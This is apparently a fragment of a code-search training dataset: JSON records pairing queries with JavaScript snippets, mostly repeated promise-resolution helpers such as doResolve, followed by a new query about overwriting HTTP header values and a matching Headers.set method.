FailIfRejected() {}", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function FailIfRejected() {}", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function FailIfRejected() {}", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function FailIfRejected() {}", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function FailIfRejected() {}", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function FailIfRejected() {}", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function FailIfRejected() {}", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function FailIfRejected() {}", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function FailIfRejected() {}", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function FailIfRejected() {}", "title": "" }, { "docid": "d769ee28d34e7a005f31e63e1b7b28f0", "score": "0.60184205", "text": "function FailIfRejected() {}", "title": "" }, { "docid": "db60e316f684adec5d7c470ac107be06", "score": "0.596007", "text": "function promiseAlreadyFulfilled() {\r\n\t\tHub.publish(\"hub.error\", \"promise.fulfilled\", {\r\n\t\t\ttype: \"validation\",\r\n\t\t\tdescription: \"Promise already fulfilled\",\r\n\t\t\tcontext: {}\r\n\t\t});\r\n\t}", "title": "" }, { "docid": "a7d6ca53e71dccfc5af71f41a1f9f31d", "score": "0.5834005", "text": "function FailIfRejected(){}", "title": "" }, { "docid": "72cb7933bfcde7968b71caff040b7d81", "score": "0.57855785", "text": "function doResolve(fn,promise){var done=false;var res=tryCallTwo(fn,function(value){if(done)return;done=true;resolve(promise,value);},function(reason){if(done)return;done=true;reject(promise,reason);});if(!done&&res===IS_ERROR){done=true;reject(promise,LAST_ERROR);}}", "title": "" }, { "docid": "3c7eeaf6d2050b0d00ec38b46ddd3894", "score": "0.5769367", "text": "_wrapResolveReject() {\n let called = false;\n const resolve = v => {\n if (called) return;\n called = true;\n this.resolve(v);\n };\n const reject = err => {\n if (called) return;\n called = true;\n this.reject(err);\n };\n return { resolve, reject };\n }", "title": "" }, { "docid": "54bcb1cab525685dd45c7e4efbe9962c", "score": "0.5732447", "text": "_propagateResolved() {\n this._thenQueue.forEach(([controlledPromise,fulfilledFn]) => {\n if (typeof fulfilledFn === 'function') {\n const valueOrPromise = fulfilledFn(this._value);\n\n if (isThenable(valueOrPromise)) {\n // pass the result to controlledPromise\n valueOrPromise.then(\n value => controlledPromise._resolve(value),\n reason => controlledPromise._reject(reason)\n );\n } else {\n controlledPromise._resolve(valueOrPromise);\n }\n } else {\n // this is the case where fulfilledFn is not defined\n // then give controlledPromise the value of this promise \n return controlledPromise._resolve(this._value);\n }\n });\n\n this._finallyQueue.forEach(([controlledPromise, sideFn]) => {\n sideFn();\n controlledPromise._resolve(this._value);\n })\n\n this._thenQueue = [];\n this._finallyQueue = [];\n }", "title": "" }, { "docid": "c6437d11db12cdc546449f01fb64fdd9", "score": "0.5716607", "text": "function CreatePromiseResolveFunction(promise, alreadyResolved) {\n return function(resolution) {\n if (alreadyResolved.value === true) {\n return undefined;\n }\n alreadyResolved.value = true;\n Internal.PromiseHook(1 /* PromiseHook.TYPE_RESOLVE */, promise);\n if (resolution === promise) {\n var selfResolutionError = new TypeError(\"self resolution!\");\n return RejectPromise(promise, selfResolutionError);\n }\n if (!Internal.IsObject(resolution)) {\n return FulfillPromise(promise, resolution);\n }\n try {\n var then = resolution.then;\n } catch (error) {\n return RejectPromise(promise, error);\n }\n if (!then) {\n return FulfillPromise(promise, resolution);\n }\n var thenAction = then;\n if (!Internal.IsCallable(thenAction)) {\n return FulfillPromise(promise, resolution);\n }\n EnqueueJob(PromiseResolveThenableJob(promise, resolution, thenAction));\n return undefined;\n };\n}", "title": "" }, { "docid": "17f51d6f0f580bc2883725be93830c79", "score": "0.5707287", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "f683148d5152993ee312d7d9db36c003", "score": "0.56957257", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) \n return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) \n return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) \n return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "2e67d4ff623b6438e4b9e8e97c0795e2", "score": "0.569334", "text": "function validCase() {\n var onFulfill, onReject;\n\n onFulfill = function(val) {\n console.log(val);\n };\n\n onReject = function(err) {\n console.log(err);\n };\n\n return promise.then(onFulfill, onReject);\n}", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "598112ed787dd4cbb6cd3bd6c6bb56d8", "score": "0.5679356", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "f2966bd4617bf4462cedcf71794b3a7c", "score": "0.56717163", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "f2966bd4617bf4462cedcf71794b3a7c", "score": "0.56717163", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "f2966bd4617bf4462cedcf71794b3a7c", "score": "0.56717163", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "69429872bfb821c03e4e7be5af9f9876", "score": "0.56663567", "text": "function doResolve(fn, self) {\n\t var done = false;\n\t try {\n\t fn(\n\t function(value) {\n\t if (done) return;\n\t done = true;\n\t resolve(self, value);\n\t },\n\t function(reason) {\n\t if (done) return;\n\t done = true;\n\t reject(self, reason);\n\t }\n\t );\n\t } catch (ex) {\n\t if (done) return;\n\t done = true;\n\t reject(self, ex);\n\t }\n\t}", "title": "" }, { "docid": "8fb0eb3f2f9db5eee4b5862b5a56e950", "score": "0.56657535", "text": "function promise(func) {\n var buffer = [];\n function queue(messenger) {\n if (buffer) {\n buffer.push(messenger);\n } else {\n // This case seems to have happened once but I have not yet\n // been able to reproduce it.\n debugger;\n }\n }\n var resultP = new HiddenPromise(PendingHandler, queue);\n var handler = handle(resultP);\n\n function resolve(value) {\n if (!buffer) { return; } // silent\n // assert(handler === handle(resultP)) since, the only way this\n // becomes untrue is by a prior call to resolve, which will\n // clear buffer, so we would never get here.\n\n var buf = buffer;\n buffer = void 0;\n\n var newHandler = become(handler, Q(value));\n handle(resultP); // just to shorten\n handler = void 0; // A dead resolver should not retain dead objects\n resultP = void 0;\n\n var forward;\n if (newHandler instanceof PendingHandler) {\n // A nice optimization but not strictly necessary.\n forward = newHandler.queue;\n } else {\n forward = bindFn(deliver, void 0, newHandler);\n }\n\n for (var i = 0, len = buf.length; i < len; i++) {\n forward(buf[i]);\n }\n }\n\n function reject(reason) {\n resolve(rejected(reason));\n }\n\n // compat with sensible subset of DOMFuture construction API\n resolve.resolve = resolve;\n resolve.reject = reject;\n\n try {\n func(constFunc(resolve), constFunc(reject));\n } catch (reason) {\n reject(reason);\n }\n return resultP;\n }", "title": "" }, { "docid": "8146a63ab4b67d58304647cc27850fa3", "score": "0.5661814", "text": "function doResolve(fn, self) {\n\t var done = false;\n\t try {\n\t fn(function (value) {\n\t if (done) return;\n\t done = true;\n\t resolve(self, value);\n\t }, function (reason) {\n\t if (done) return;\n\t done = true;\n\t reject(self, reason);\n\t });\n\t } catch (ex) {\n\t if (done) return;\n\t done = true;\n\t reject(self, ex);\n\t }\n\t }", "title": "" }, { "docid": "8146a63ab4b67d58304647cc27850fa3", "score": "0.5661814", "text": "function doResolve(fn, self) {\n\t var done = false;\n\t try {\n\t fn(function (value) {\n\t if (done) return;\n\t done = true;\n\t resolve(self, value);\n\t }, function (reason) {\n\t if (done) return;\n\t done = true;\n\t reject(self, reason);\n\t });\n\t } catch (ex) {\n\t if (done) return;\n\t done = true;\n\t reject(self, ex);\n\t }\n\t }", "title": "" }, { "docid": "87dd999d704d0ace21d0c52112868cc4", "score": "0.56617796", "text": "function doResolve(fn, self) {\n\t\t\tvar done = false;\n\t\t\ttry {\n\t\t\t\tfn(function (value) {\n\t\t\t\t\tif (done) return;\n\t\t\t\t\tdone = true;\n\t\t\t\t\tresolve(self, value);\n\t\t\t\t}, function (reason) {\n\t\t\t\t\tif (done) return;\n\t\t\t\t\tdone = true;\n\t\t\t\t\treject(self, reason);\n\t\t\t\t});\n\t\t\t} catch (ex) {\n\t\t\t\tif (done) return;\n\t\t\t\tdone = true;\n\t\t\t\treject(self, ex);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "468fb13325829bb856500e213972f1d8", "score": "0.56531835", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done)\n return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done)\n return;\n done = true;\n reject(self, reason);\n });\n }\n catch (ex) {\n if (done)\n return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "cfd5cc6f34e1f900be3bcbd1d585ec25", "score": "0.5627678", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "b1f3f13f75154dafdb66a6e0f261f834", "score": "0.5624828", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(\n function(value) {\n if (done) return;\n done = true;\n resolve(self, value);\n },\n function(reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n }\n );\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "d61403400d36552a0613a9f7ddd42638", "score": "0.562161", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) { return; }\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) { return; }\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) { return; }\n done = true;\n reject(self, ex);\n }\n}", "title": "" }, { "docid": "8169540c735540c2309eaf06ad52f81c", "score": "0.5612959", "text": "function doResolve(fn, self) {\r\n var done = false;\r\n try {\r\n fn(function (value) {\r\n if (done) return;\r\n done = true;\r\n resolve(self, value);\r\n }, function (reason) {\r\n if (done) return;\r\n done = true;\r\n reject(self, reason);\r\n });\r\n } catch (ex) {\r\n if (done) return;\r\n done = true;\r\n reject(self, ex);\r\n }\r\n }", "title": "" }, { "docid": "ac9c4b7774a4287f3644ac438ff22072", "score": "0.5601348", "text": "function doResolve(fn, self) {\n var done = false;\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n }", "title": "" }, { "docid": "8138271ec35527efdb85fbc3a7be9281", "score": "0.5600773", "text": "function isValidResolver(resolver) {\n return resolver == null || typeof resolver === 'function';\n }", "title": "" }, { "docid": "d122415affed2073b91a09a24eaee890", "score": "0.55982053", "text": "function doResolve(fn, self) {\n var done = false;\n\n try {\n fn(function (value) {\n if (done) return;\n done = true;\n resolve(self, value);\n }, function (reason) {\n if (done) return;\n done = true;\n reject(self, reason);\n });\n } catch (ex) {\n if (done) return;\n done = true;\n reject(self, ex);\n }\n}", "title": "" } ]
78705ea11719ac236e765c1d1a5e4141
Overwrite header values given name
[ { "docid": "155d789bb33bbd6ba0ac922c1212b4b4", "score": "0.0", "text": "set(name, value) {\n\t\tname = `${name}`;\n\t\tvalue = `${value}`;\n\t\tvalidateName(name);\n\t\tvalidateValue(value);\n\t\tconst key = find(this[MAP], name);\n\t\tthis[MAP][key !== undefined ? key : name] = [value];\n\t}", "title": "" } ]
